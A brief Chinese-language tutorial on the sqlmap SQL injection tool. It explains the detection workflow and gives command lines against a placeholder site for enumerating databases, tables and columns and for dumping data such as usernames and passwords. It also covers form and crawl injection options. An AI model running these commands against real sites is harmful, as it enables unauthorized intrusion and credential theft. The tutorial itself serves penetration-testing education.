自动化SQL注入工具——Sqlmap
Sqlmap – 简介
Sqlmap是一个自动化检测和利用SQL注入漏洞的免费开源工具
1、支持对多种数据库进行注入测试,能够自动识别数据库类型并注入
2、支持多种注入技术,并且能够自动探测使用合适的注入技术如:布尔盲注、时间盲注、联合查询注入、报错注入、堆查询注入
3、能够爆破数据库信息,如用户名,密码
4、能够自动识别哈希密码,并且使用密码字典进行破解
SqlMap是渗透测试人员对SQL注入漏洞进行检测的最佳工具
Sqlmap(Kali Linux自带)
在Kali终端 输入sqlmap
显示如下界面则表示Sqlmap正确安装
SQLMAP注入流程
Sqlmap注入的一般流程
一、判断是否存在注入点
二、查询数据库信息
三、根据数据库爆破数据表
四、根据数据库名和数据表名爆破字段名
五、爆破字段里面的数据
使用Sqlmap爬虫爬取可以注入的网页
例:sqlmap.py -u "http://xxx.com/" --crawl 2/3……
Sqlmap实战
Sqlmap注入的命令参数
1、判断注入点:sqlmap.py -u url(目标地址)
-u:指定地址
2、爆破数据库名:sqlmap.py -u http://xxx.com/?id=1 --dbs
--dbs:查看所有数据库名
--current-db:查看当前使用的数据库
3、爆破数据表名:sqlmap.py -u http://xxx.com/?id=1 –D库名 –-tables
-D:指定数据库名
--tables:查看指定库下面的所有的表名
4、爆破字段名sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 –-columns
-T:指定表名
--columns:查看指定库的表中的所有字段名
5、爆破所有数据sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C 字段名 –-dump
例:sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C username,possword –-dump
-C:指定字段名
--dump:根据指定的库、表、字段爆破里面的数据(违法行为,实战中不建议用)
Sqlmap拓展
Sqlmap对伪静态进行注入
使用方式:sqlmap.py -u http://xxx.com/abc/1*.html –-dbs(*表示指定注入点)
Sqlmap对登陆框(表单)进行注入
使用方式:sqlmap.py -u http://xxx.com/admin/index.php --form(测试表单)
其他命令参数:
--batch:自动选择(默认大写字母)
--flush-session:清除缓存 //简写–zflu
--level:共有五个等级,默认为1,等级越高,测试的内容也越多
--risk:共有四个风险等级,默认是1,等级越高,用来测试的语句也更多
-v:显示详细扫描信息,共有5个等级